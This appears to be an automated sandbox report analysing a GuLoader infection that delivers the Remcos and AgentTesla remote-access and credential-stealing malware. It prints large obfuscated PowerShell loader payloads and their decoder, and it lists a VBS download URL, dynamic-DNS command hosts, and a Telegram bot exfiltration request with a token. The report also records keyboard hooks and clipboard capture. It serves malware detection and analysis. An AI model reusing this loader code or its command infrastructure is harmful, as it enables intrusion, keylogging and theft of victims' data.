St`$DovPlaTirGg_HapFeaPorshaGomRieNutPreHarJusSu,Ge[UnPCoaFerMaaMamHreVatBieNorOr(SkPVaogrsWaiWotBaisloFrnVa pr=Mi Fl1Yd)Ke]Ko Cl[ReTelyHapUdeRe]Hy Pl`$BlvSkrIktWh An=Be Su[BaVTaoRaiCadTh]ar)Gk;Au`$SoASadElsGycFirVaiSopSptJeiPhtAeiMeuSasVu2Ru Th=Ca LiHSlTTrBKl Su'SaEOmDCh9ZoFSu9PeDEk8PiBAfEFl9BaFAp4MeEel9Sp9Ra2Sk8Re8CoBMa9daBPr9co8PyDBaATh6FrAGe4EcAEt8PiAFa0exASk7Gs9fo4BuFRe3PrFHr3Te8AnAAdBBaCNyBheBOpBDiBCaAUnCAlASt7HeBInDTh8KeDSnAId6RfADe4RuASe8OxATr0JuAFr7KaECo7Mi8KoDTvABaCQuAInFDeATi0SkAPe7GaADeCVa8StDJaBCo0ApAKi7FjATa8AlATe4CaAMi0ReAOiAAr8Ln8AnBSaAtrBSaAsoAFrCGeAHa4NeALaBTrAPl5DiBat0MaENi1ImEMa1Un8Li7trAesCFoBRoEReELa4Ve8Ac6UnAHoBEqAAa3coAaaCExAToAStBImDInEJe9in9FaAEvBSk0afBHyACuBTrDPrAinCTeABe4CeEAm7Ta9raBPeAWhCscAnaFBrASp5beAAcCBiAUnARkBInDFoAMu0KlAFh6HyAAm7BiELa7Pr8ba8FaBFoABrBStABeACiCLaALi4SeAEnBAtACr5laBSl0He8Sp7ChAMo8UnAAj4FiABiComEOv1KoEsuDFi9ViBLyADeCHyACoABnAAf8KaAFr5DoADoAEtAEr0PrBAsDStBWhBFiAHj8PrBReDCeAWiCKaFMo1frEUn0PiEOi0duEBr5PjEMo9La9An2Fa9KoAGeBIn0CrBSmALiBAxDLoAUlCBuAFa4MbEPa7Fa9KaBTrALiCEfAPaFInAsl5FrAjoCKoAPaAMaBUnDKoAEt0InANa6SeASe7NoEDi7Sh8UpCalAUb4DiAEt0foBChDKoEFo7Da8Re8HaBHoAMaBNaABeASpCspABo4InAOfBhjARh5AnBLo0Ba8FoBfiBStCCaAal0SiAPr5CoAHaDshAAcCSkBFlBSt8Pu8UrAsiAPrAYoAHuATlCKrBInAKaBStASy9Al4TiFOn3kiFMa3Fo9viBPaBMoCHoAbr7WoECe0FyEGn7ca8KoDKoAGeCAfAMaFStAco0BeACo7SkAfoCAn8StDAkBGe0meASt7DaAIn8WoAJo4VeAKo0EnANoACh8Ve4ScACr6KaAStDDrBArCFeAKu5SeAFrCFlEPa1MeECuDbi9HeBcyAReCCoAOsADiACo8LaABa5beAShABeASc0AmBBrDteBExBfaAes8frBUnDUdACrCFlFBr0TrEbe5afELy9PhEgiDDiABuFScAkm8BeAko5MaBLyAOvAGaCStESv0DaEAa7no8liDStAMaCYiAReFunAAn0UnAKv7EkAEnCOr9OcDInBUn0DaBIn9HvAmuCVeEUn1afEAmDMe8SpDStASoCMaAFr4CrAFa8ViAScENoABo7VaABrCPrBBaDFoAOb0unBAn3ReAPi8CaAreBUfAFi5BlATaCInFSn9PeEAn5fuEPu9DrECoDBu8teDIlACaCIlANa4ReASk8PrAFrERhARe7BrAHjCNeBUmDBiASa0HyBKo3WeAHe8UnAFiBAfABu5PnASaCPrFGe8StEFi5LuESu9An9Ti2Vi9BeAToBPu0FlBDeABrBFoDJaASkCQuAsk4SuEFr7Pa8Ry4SuBMiCVaAAc5BiBMaDSuAHo0SkATiAMaAAr8EmBHeAPiBLiDfo8AnDTuABrCAtAPl5FrAPrCExAWaELiATr8BlBSnDSiAImCMi9Un4EtEHa0Bl'Tr;Po&Co(Ov`$PrDBleRdmGlaSmgDenPteChtaniFrzstaKebCalHaeEn7Wa)Bd Mi`$AnASkdfosElcMirPoiLapUntsuiZotCaiReuUnsMe2Di;St`$GaANedsmsAbcExrAeiMopSatTeiPutBoiViuNosRe3we Ta=Re TiHTaTStBEr Ac'CaEGrDjo9GiFSw9SkDAn8CuBNaEYa7Ex8InDCaAMoCOfAhyFMuABe0BrAEl7PrAMeCCh8prAInAAn6ReADh7RdBMiATaBCuDCaBNoBSuBFrCRaAScAGuBMiDmiABe6FrBCoBUnERa1BeEHuDTu9SkBChASeCpaAFoAHaAIn8MaAAu5koAsoALiAtr0ThBOpDStBSkBLaAEs8gaBAbDGaAfeCInFTsFBaEKr5NaEsp9Su9Af2Fo9PoATaBSt0SkBvlAKaBSkDRhAAaCReANo4MiECr7Pr9BrBPrAprCAnAQuFFrAFy5CyAKoCOmAOrADeBSmDAfAXy0DaAIn6InASe7HoEgu7Kr8SaADeAOv8HeAAf5crAMi5skAPj0meAKa7MaALiEKo8KlASdABi6BaAFi7DaBIdFClAPaCBoAEn7BiBbaDUtAFo0CoASe6FuABa7ArBNaARe9Ma4FuFLa3PuFSc3El9SiACeBUbDMoANo8UnADe7NoAKaDufAFi8LiBFeBHjASnDPrEGu5GuERu9EnEBrDCaBSyFsaAGa8SwBBaBMa9Us6TrBCo9LuARo8DeBNrBKaAOn8TrABa4CpACoCOuBAnDSiAUdCNoBQiBEvBTeAGeEOp0AnESt7lo9SeABeACrCFlBNrDTv8Ka0KuAox4WoBPl9SoAPi5EdAplCmyAPa4DuASiCToABl7InBBiDuhALe8SnBInDLiAEf0ToASy6reANu7Af8FiFPoAPr5StAEc8GsASlEceBcoAKoEWa1AgEFoDFe9KuBSdAPyCMeAStATkATr8LuAEx5SkAScAMaAUn0ErBFlDSlBIsBScATn8KnBNeDFeAKaCTaFByEDiELa0Ro'Fo;An&Sp(Sp`$SoDBieBomcoaAggFunpseUntBuiWrzFaamabAfludeer7Ov)Gl Di`$EvAAndSisUtcAnrSoiRapKotAciSttSpiApuNosRa3Sc;Te`$LaAApdChsUzcPhrSaiPrpButKaiGrtsaiIcuDrsLo4Bo Af=St SaHHiTChBDi Kr'OuEteDKo9PeFHy9NoDCa8RaBDeEPi7En8SnDAsAUdCnoAIrFReAIn0KuASa7InACrCBi8Ho4FaASaCTrBPaDFlACy1FoADr6noAMeDYeEBe1TeEsuDDr8PeDPaAJoCBiAPa4crAFo8LnAJrEShAFo7alAGaCBlBFoDSuARe0WhBSt3BaAGu8JuAPaBMoARa5UiAReCHeFWiBBeEMe5QuELo9HoEFoDGe8BrDVrAPhCplAIn4RiABo8taATaEObASt7KaASkCSuBMiDchAHe0MuBTa3KoASu8SuADaBSpAEm5PrAFnCReFPlAVoEPa5JaEAn9trEPaDnoBSiFGeBInBAtBunDSoEHa5ReEHa9KvEKoDVoBNyFPiAEc8AlBReBFo9Po6LaBOv9GgAde8InBkoBToANo8PaASk4OlAMaCMeBReDEtANeCPrBMaBTrBPrAInEPo0unENo7Ca9AbAHyAEfCOrBSeDve8Pl0ReApr4TrBRe9LiATr5SpAKoCUnAFo4CoAUnCSvALa7foBGnDBlACo8ToBThDEmADa0saARo6OvABo7An8PsFPrADi5SpABo8FlALiEAcBBeAafEMa1UlELaDTo9UtBHiADaCInAPhAPlASa8UdARa5teATiABrASk0UnBMaDStBMuBunAAf8MoBAsDSwABoCAfFSpELeEBi0Tu'En;En&Re(Fa`$SuDvieSpmSuaLygRenBleEntJoiCazInaPobpulAseTi7Ly)Re ga`$kaAModUdsBecstrTriFopHatBiiswtFliTiuEnsHa4Ga;Co`$SkAChdPisIncCorBiinepBatHaiVatteiinuErsTe5Fo Gi=uk FlHBeTHyBBo Fl'DyBFrBJaAStCLeBLaDReBSpCInBInBBoALo7RoEPt9TmEbaDBe9HiFAm9PeDTh8LaBViEOv7Pa8UdATrBOpBjiAtrCAfAKo8LeBReDDrAUnCCo9CoDChBTy0KiBMa9GaASiCFlESo1SkEOp0Go'ki;fl&Ca(Ba`$deDSaeStmWoaLugNunBreOrtDiiTrzLiaGebSilMyeKo7Pr)Ga Sp`$JiALidHasRocUnrBriUppGetFeiTitDiiAdustsSk5Co Ki Pn Tr;Sk}Bo`$enkSukUl Sc=Sk SpHSlTSaBLo Be'EnABa2MaALaCMiBPoBMoASu7SpAStCMoACo5BiFAlAFjFAbBKe'Fo;Pa`$ViASidPrssucHarBeiFopOptUniEktSmiOkuSpsub6sp Ti=li PrHCaTWhBHo St'unEAlDToBPrFEnAOp8ViBviBAn9So6RaBFlFElAMe8BaEAr9EfFSm4BaEMi9Bi9Am2Ub9slAUdBMa0MeBKiAInBLiDMeARoCSuAUn4pjESt7Dr9fiBUdBSqCReAPr7GrBInDCaATr0NaAby4FrAudCHyEDo7Mi8Fo0beAHo7ReBBoDCoAFjCInBDoBReAEl6BoBPe9Vi9SuAFoANoCXyBFnBBlBMeFveAfe0OuALeASlAdeCKaBTjAChEDa7Ha8No4KoAOp8HoBAlBGaBAlAfoASe1SkAPr8MiAZy5Ap9Dr4RuFKl3HjFRo3Cz8WiEkuAMeCSkBTwDRi8SpDDeAAgCPsAGa5ClABeCRiADeEIsAKa8LaBLiDSlAKnCPr8PoFPjANa6PrBStBCi8SmFBaBNaCSaAfr7InAAdASpBTvDApAKl0DoAIn6GeAHe7Na9Sp9NoAJo6FoABo0TrARa7KlBOlDTrASpCXiBFaBKiEin1SoEKn1brACaFDeAPh2UnBDa9CaEDe9ChESeDTaASt2SuAVa2AlEMa9TeEBeDCa8WaDOpATiCElASt4UnAaf8GsAApEMiAsk7EgAFiCSpBQuDFoAPr0SpBDe3HeATi8UsAOfBPaASa5ShAreCGlFSuDKoEOm0stERe5heEGl9chECa1Hy8NoEFo8AnDSl9SeDFeEEx9Sk8Ma9suESu1Pi9St2Sc8Fl0ReATo7FlBLbDRe9st9MiBArDdeBKrBBi9As4OrESt5AfESp9Ga9Ty2Kl9PrCPe8Ro0InANo7FrBAaDUvFArAMiFMoBSp9Ro4CoEPe5UdESe9Tr9Me2Sk9SlCru8Ek0BeAFi7FlBflDVeFHoASiFEmBOv9Ax4urEDu5PaEmu9Un9Om2Pr9LiCSk8Ar0SmALu7UnBCoDimFSpANoFCyBBr9Fl4MeEUn0MoEPa9LaEBe1Va9Pr2De8Re0CuASk7PrBEuDas9Sk9SgBGrDSkBWiBFo9Do4HaEIn0PuEAd0BaELa0Pr'Re;Su&At(Te`$AfDFueUdmSaaStgFrnBaeArtLaiStzSnaAgbFllHoeSv7To)In Sy`$UnAFadSlsLocudrUniPrpObtTiiGetUniCruZosRu6Pr;Fo`$ChvFoaefrKl_SmnRutUn Be=Ud VaftokAppSk Sk`$BrDPreGemDiaIngStnUneHotBaiHezKeaEmbaflbeeth5re Be`$OcDLaeFimRaaRugLanTeeKntPoiBezHraGabPolSjeSl6sa;Fo`$IdAMidVesTocInrMoiLapSwtPliEktOpiReuPasFr7Ba He=No PrHUpTPrBOr Ob'BeEMaDFu8Pe8seBNiBPrBFeDCyAKnCSeASyFCrADe8GeANe2syBPeDKiAFlCefBSeBFaFGuABiEAr9spFHu4DeESt9FiESsDFlBReFHaAre8ouBHuBPa9Di6BlBSeFUnAre8BiEHo7Fa8Ri0MeATi7miBDeFKoAKu6JaAst2teAInCTiEAn1An9Op2Ak8Hi0KlARe7AfBDeDLa9My9DoBStDReBPrBPr9Dy4reFTr3KaFEd3ri9Co3RiAViCKaBAsBHaAEk6OrEMi5UnEUd9tiFUkAMoFBlFTeFTrFToEKo5UnESa9RaFCe9NoBBo1RiFEsAGiFBr9BlFFo9TnFHa9MaEMa5PaEJa9GrFPe9FrBUn1trFLaDOvFKe9SkESv0Ov'Ap;In&Om(pa`$PeDSleWemcaacigPunLoeFatNeiDezHeaPabFrlWiebl7Ve)Ac Py`$MaARedPospicSkrM iTipTytObiamtoniSkuTesan7Pr;Su`$BiACodPrsBocKirusiIcpDetSliPetLyiteuPesEf8Un Po=Tr FrHphTNaBDy Ti'ErEGrDcoAAc6fjBKaBEnABe0UnERa9ChFSp4SmEFl9SuETeDCoBafFIcADu8BlBRaBFr9Sv6KlBFiFJuASi8FoEPa7Cl8Pe0MiAKo7raBVaFdiAMa6NaASp2ArASpCgaEbr1Ap9Re2At8Ku0CaASp7BlBKuDLa9Im9MaBBoDPhBGwBRe9em4caFSt3PoFov3br9st3VoAUnCJeBmaBEsAAc6CoECl5UnEOo9MiFBa9KeBDe1BuFHj8SmFSk9DeFUn9foFCa9HuFAl9KoFEn9EgESo5BaEDe9UnFTa9JaBCl1AkFPrATeFFi9TeFPi9NoFBu9opENs5BoELe9EuFBa9TaBEn1KrFToDTrELi0Ti'Sk;Pe&Ln(in`$PrDQueKemKraDrgOpnReeUntWhiblzKraUrbKllDaeAr7Os)Re La`$luAgldNosAncHorUniSopNitEpiCotFsiaruUlsHy8Ha;Bu`$FosBspCaiOvlafdTeenuvDdaAnnOpdJosDrpPerFloKojDheTekAptFleSerMy=By(chGFoeTatda-DoIOrtBeeBomUdPGrrsaoSppDiestrBetPhyCe An-DePSpaJatSlhSt Un'GaHAaKEfCStUPa:Ud\FlKOpyHaseahTaaViaManbodleearnSt\MidCouRemMepNoeCotDesSu'Vi)Br.SklBeaLoyPnldraJasca;Va`$KoAGedAdsStcInrIniSepGrtheiTitFuifeuRasSp9Sa De=Ch UnHLyTInBFl Ve'NaEGrDPr8Gr8ReACyDGaBCaAAcAUnAFoBStBPrAkl0AlBBa9CaBImDPaARe0NuBKoDPaAOt0UnBToCPrBAbASeEEn9riFCl4EmEbl9Fo9Ne2De9TrASkBSt0TaBbiAChBCoDSpAMeCIdAAn4PhEBe7Dd8TeAPaALo6SpAGr7ReBHiFCaALeCSeBDeBSkBGoDBe9Li4EmFHy3rgFUn3Ar8VeFNoBFiBenAin6DiAAa4Br8UnBFiApi8YvBAfABaAHeCSuFGrFFaFBaDin9VaAUnBCoDToBOvBInALa0LrAAc7mbATrEStECo1SaEMaDBlBUdAFaBBe9CoASk0NeABa5anANaDCaALeCJeBIdFAkATi8YdATa7DeAbaDUnBFoAEpBMi9ChBTrBSvACa6SvAPh3AgASyCJoAre2RuBvaDMiAUnCKeBInBJoESt0co'Co;Sa&Re(Fo`$ImDbeeUdmSaaOugUdnMyeDetSaiDizLiaMebGelKoeOv7In)Le Su`$CaABedcrsFrcBaririSypDitLaiKetAdiAnuEpsSi9Am;De`$TesAgpreiOplisdCheKlvLeaDenLadkosprpInrFdouljSkebukMatsheRurNo0St Sp=Ge JoHToTDeBMo Re'Pr9Co2Ko9CiArhBLi0chBSnATiBevDNeAPoCBaAAn4heESl7Ri9TyBUnBCeCEnAMo7PoBPaDFeATr0StABe4stAStCExEbu7is8Ch0GeAWa7SkBAlDReAInCInBMaBcoADe6MoBSi9Ad9HjANeAUdCReBFiBAlBUnFKkADe0ReAVaATiAOvCSuBEuAAsESp7Hy8Af4MeARe8InBTvBLnBSuAPrANo1PaASi8UdATo5De9Al4UlFDr3UnFFo3Bu8ReARaAJo6FrBNi9kaBpo0HaETh1FrETwDSs8se8PaAAlDPaBWaAVoAPsAFnBDeBteASl0VeBFo9SuBBrDHyATo0koBEgDdeAHe0olBGlCPaBboAHaEEr5PoEVn9SeFLu9TeEuf5GlEDe9RuEbn9PaESlDMt8Di8JuBAmBteBimDItAVeCArABiFUsAHy8UdARd2MeBLlDtrATiCanBSaBBiFKuAHaEGo5PaEOu9StFSkAHyFLiFVaFCoFBlEEn0Xe'Er;Ma&Af(Ly`$scDCoeFrmGaaThgChnTreTjtPyiDizImaEpbTilSaeTa7Um)Ra Ta`$PosLapUniAnlEcdtreTrvdeaPonSadSasnypCorBooRejFoeSakVotdieSvrSn0Li;ph`$FasTyiSpzvaePa=Ha`$GeAOvdbrsEqcAprstiPapQutHuiLitSyiUnuWrsPa.AncInoBeutenUntAv-Ou3Di6Si6Ty;Af`$BesMepMyiSylSadJdePevMeaAsnSydSpsSlpPirGroEwjHyeSukEntNeeRhrSa1Kr Le=ne HyHHaTInBSa Un'No9Pe2St9FlAGeBIm0PuBStAbeBBeDTrACoCTrASe4ReESa7Sa9SpBmoBGlCEfASa7TfBDuDKoAAf0miASc4TiAofCMoEOr7Pa8Ig0NoALe7FiBTuDDeAJaCBoBChBMaAFi6GrBPr9Ch9SwAJeAImCHaBSaBOrBGrFFoAPr0KnASiAPrAHaCudBGeAVeEEl7Ed8Cl4biAFr8NeBOdBRaBDeAGlACr1TrAGa8PsAPa5Gi9Ze4NoFBl3auFFo3Mo8KiAorAAf6NeBKr9TaBDy0TiEUd1DiENiDbr8Ga8KaAPaDBhBEnASkATyABgBVeBuoAAb0AbBDo9FoBSyDDiARe0BaBBoDWaAst0VuBSuCTaBTyAImEFo5skEFl9FeFPlAWiFInFklFKrFViENe5VaEsv9HoESuDEvASp6tiBMiBKaAKl0BaEBa5kvERi9SmESvDStBHaAChABa0CoBFl3SyACoCRmEPs0Ir'vi;No&Re(Di`$PaDUdeRamPraAvgpenAneAmtSyiSezSoaSvbSalfieDe7Ov)Sm Ko`$MusBrpDyijulDedMieovvJoaCanPhdAtsOrpFrrPaoFojNoePrkBotSoeKarHe1Bv;Ca`$AgsRopGriJulPodBreAfvRoaUdnSydChsStpFerAnoCijWeeStkAntWieRerTo2Un Ro=Sa MoHVeTFoBan la'inESaDPlBPjFMoARa8MiBUgBno9Fl6guBTjBOpBAmCAnACy7PeASy4PuAShCOpETi9CeFCo4ExEDe9Fa9Un2un9ToAPaBTe0LiBEmASaBcrDPrACuCSoAFo4HoEPo7Re9PeBzyBBoCJeAka7HoBPrDJuAAn0CuAdi4PaAgeCraEwo7Di8Fa0ReASe7StBAnDOvAGlCAfBInBObAor6UnBLy9No9KaASaAOpCDiBInBAbBTrFToATy0BeAspAFlAArCskBInAWiEBr7Ba8Yd4YaABu8UdBSkBVaBfoATeAHo1AbAFo8FaAMa5Jo9Wh4WeFMi3heFFo3Re8CrESkAInCRaBHoDGr8TaDAnAViCkrAPr5ReAEfCFiATaEAlAAp8beBprDChAHaCPe8klFUdALi6GeBStBFo8gaFSuBShCafALr7AtATrASlBBaDHaAAn0SoAbr6TyAFl7Uk9Fr9FoABr6BuAPr0PoAHe7doBDoDanAMoCCrBAfBPaECh1PaEapDPr8gr8HjBDvBAaBLoDSuASkCSfAFlFHiASv8DiADd2inBSuDMaASeCCeBhuBYdFFiAunEBr5StEVe9CiENe1Ud8PhESa8InDOr9NaDBaELi9Ko8An9UnEIn1Ka9Ce2Re8Pl0ErACr7OmBSmDhy9No9HeBIdDCoBBeBUn9Ca4veELe5Or9Ps2Be8St0CaAMa7TjBUpDBl9Ud9KaBMyDLuBArBRe9do4SyEBi0SeEGr9FrEAn1Pr9Op2Un9CiFPoAEx6MoALa0VaAVeDSp9Ch4ChEWh0ArEVa0BeEAn0En'Di;In&Ma(Li`$GeDCheEumOuaHvgLonNueUatFuiMizfjaKrbEtlOeeIn7Fo)In Ma`$FosDepGoiLalUndMieAmvWhaImnTydGesFipAnrDaoMojJaeUskOmtFaeHorso2Fi;Ou`$AnsNypOviSplTadKoeBlvReaInnSadSisOppAlrbrochjHoeStkSttmoeBerre3Pr Cu=Sa PhHFuTsiBpa Vo'ovEBiDHyBPuFwiASt8PeBkuBIn9Bo6VeBStBUnBKvCDiAUn7NaAGa4KoAFiCveEFa7Tr8Sm0UdAFl7HaBDeFHeATa6HyARa2EnASkCSaEEx1AdERoDMaADd6InBOpBSaANo0InEBr5TaEAdDInBHaFHaADi8AfBBaBce9No6RuASa7BuBUnDMoESu0Mu'Tr;Sw&Go(Se`$ReDHaeBemRoaPrgHenRoeSythuiLezPlaPabPjlHaeAa7No)Un ne`$ResStpHeiFulRedOteBrvHuaGonDedFesStpKvrIboDijSteFikFntReePlrSm3Ni#Bl;""";;Function spildevandsprojekter9 { param([String]$HS); For($i=2; $i -lt $HS.Length-1; $i+=(2+1)){ $Brndoffers = $Brndoffers + $HS.Substring($i, 1); } $Brndoffers;}$Chlorpikrin0 = spildevandsprojekter9 'AgIPaEBeXBa ';$Chlorpikrin2 = spildevandsprojekter9 'CosLatHuaCerRytRe-RejAfoYvbRi ';$Chlorpikrin1= spildevandsprojekter9 $Damspils;;if([IntPtr]::size -eq 8){.$env:windir\S*64\W*Power*\v1.0\*ll.exe $Chlorpikrin1 ;}else{&$Chlorpikrin0 $Chlorpikrin1;};;; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

CasPol.exe (PID: 3788 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe MD5: 914F728C04D3EDDD5FBA59420E74E56B)

CasPol.exe (PID: 3248 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe MD5: 914F728C04D3EDDD5FBA59420E74E56B)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000D.00000000.3773940652.0000000000E00000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000008.00000002.7449931137.000000001F1C0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000D.00000002.7460473014.000000001D6D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000D.00000002.7460473014.000000001D6D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.7460473014.000000001D6D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security

Snort Signatures

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.11.20 - Destination IP: 149.154.167.220

Timestamp:	192.168.11.20149.154.167.220498814432851779 11/28/22-20:47:47.307107
SID:	2851779
Source Port:	49881
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Yara detected Remcos RAT

Source: Yara match

File source: 00000008.00000002.7449931137.000000001F1C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Multi AV Scanner detection for domain / URL

Source: sinopbisikletkiralama.com

Virustotal: Detection: 8%

Perma Link

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.11.20:49881 version: TLS 1.2

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.11.20:49881 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Uses dynamic DNS services

Source: unknown	DNS query: name: backupfrontmanny.duckdns.org
Source: unknown	DNS query: name: myfrontmannyfive.ddns.net

Source: Joe Sandbox View

ASN Name: WKD-ASIE WKD-ASIE

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic

HTTP traffic detected: POST /bot2135733177:AAGBiQMSb9sct4MUL0kpdpB0pPO3n3AKBfA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dad181ce08d6acHost: api.telegram.orgContent-Length: 1015Expect: 100-continueConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 37.0.14.209 37.0.14.209
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220

Source: global traffic

HTTP traffic detected: GET /Bichloride.vbs HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: sinopbisikletkiralama.comCache-Control: no-cache

Source: global traffic	TCP traffic: 192.168.11.20:49814 -> 84.38.134.104:4939
Source: global traffic	TCP traffic: 192.168.11.20:49815 -> 37.0.14.209:4939

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown

DNS traffic detected: queries for: sinopbisikletkiralama.com

Source: global traffic

HTTP traffic detected: GET /Bichloride.vbs HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: sinopbisikletkiralama.comCache-Control: no-cache

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.11.20:49881 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

E-Banking Fraud

Yara detected Remcos RAT

Source: Yara match

File source: 00000008.00000002.7449931137.000000001F1C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Badeanstalt = """reFLiuEfnBrcExtApiHjoStnBu HyHFlTDuBSp su{Hi Cl An Pa BapinaCarZiaSomVo(Cz[PaSDetalrCaiennOugDe]Ca`$UdHBaSUd)Fr;Ag At Ud Ho Af`$UsBeuyAktNoePasBo Sa=Sn ThNAneNowBo-MuOGrbEpjLoeDdcBetHu TobPayVrtSeeLa[Al]Po Bd(Me`$VaHTnSDe.ReLPeeNonVegMatunhSl Re/Sk Di2Gi)Ko;Un ge Ma Is GeFFloLerWi(fe`$HaiOp=om0Pe;Fu Ma`$PhiDo Ge-MaltitSe Fa`$SyHBeSBa.DoLUneDenScgDotUnhCa;Do Un`$reiom+Re=Be2Du)Va{Fl Pl Re Ad Ot ta Sp Sk Ho`$DoBFeyDetLeegasSm[Fi`$geiAf/na2De]Od Ge=Sa Tr[RecSkoUnnLivKresirOrtBr]Il:Me:DaTDioDiBBoyPatGleSu(Po`$UsHHeSPh.boSFruAfbNesMatUnrPriPonUngLa(Il`$StiPa,Su Jo2Po)Ca,Bl Af1Sn6Du)No;Ma Te Un`$miBKryPrtCheGtsPa[Du`$SyiUn/Tr2Fi]Mi Ta=Ha Ah(Fo`$SiBbiyIntOpeovsOl[Kb`$spiHe/Ar2Fr]Fe Ci-FrbRexEnoPhrTi Hy2St2Re9La)lo;so Le De Ca Vr}Re Un[MuSkutSqrLaiApnNogBl]Pe[MaSChyInsDetpaeNemSt.VaTBaeKaxIbtBi.ReEManPlcGeourdPriMonPrgSy]Si:Ko:RaAUdSAkCWaIFoIsa.MoGBaeButTaSGutUnrFriUlnIngBa(Ba`$FobSeyPitTheAnsId)li;Bl}Ga`$DeHBrdSalUncIr0Sk=KrHOuTBeBAf Ry'BeBRe6te9SpCBe9Be6Pr9Gr1js8Et0Am8In8SeCEnBCa8co1In8Ta9Pr8Cr9De'Sy;Lu`$plHRvdaflFocIn1De=TrHDiTZiBVe Un'FeAKr8Re8TaCDe8Sl6Gr9Ag7is8XyASv9Sp6Sh8CaAHe8De3Bl9An1unCTiBteBAb2Ha8SmCUr8SuBCuDbu6LkDTi7MaCMeBSeBDe0As8TrBCh9Ah6Me8To4Pr8Ne3Fr8In0boAReBRa8st4Ti9Ve1un8ApCOp9dk3Bi8Co0SuACl8An8en0Un9In1Mo8DeDAn8PeAUd8Wu1Ra9Ca6Ba'Fo;El`$LoHBldNolSucBo2Ne=TnHBlTUnBSp Ne'siAFi2Sk8Ti0Di9Ul1tyBLo5Ob9Fi7no8ByACe8An6PoALa4Da8Bi1Ka8Im1Wh9Gt7lo8Ge0Rr9Br6Br9Di6Ar'Fl;gr`$CyHEidArlblcPr3pr=OvHenTnoBCo Ta'LeBUn6re9UpCGu9Sn6Gn9Fa1Br8Mo0Da8Pr8LyCOvBBeBwa7Sk9Fo0Sa8MaBDe9Ev1Af8KaCBa8Oc8Sc8He0NoCObBFoAToCDe8SiBSi9Se1Be8Or0Se9No7Fl8HuAOu9ty5RaBCo6Kr8Sk0dd9Se7As9Ri3Le8laCBr8we6Ou8Di0oc9Be6DaCKaBTeAUnDPu8Se4St8IsBEr8si1Ja8Ng9Li8Sp0FoBDi7Ci8Ex0Vi8st3sl'Sk;De`$FlHPedJalJdcTi4Ki=KlHStTPrBFo 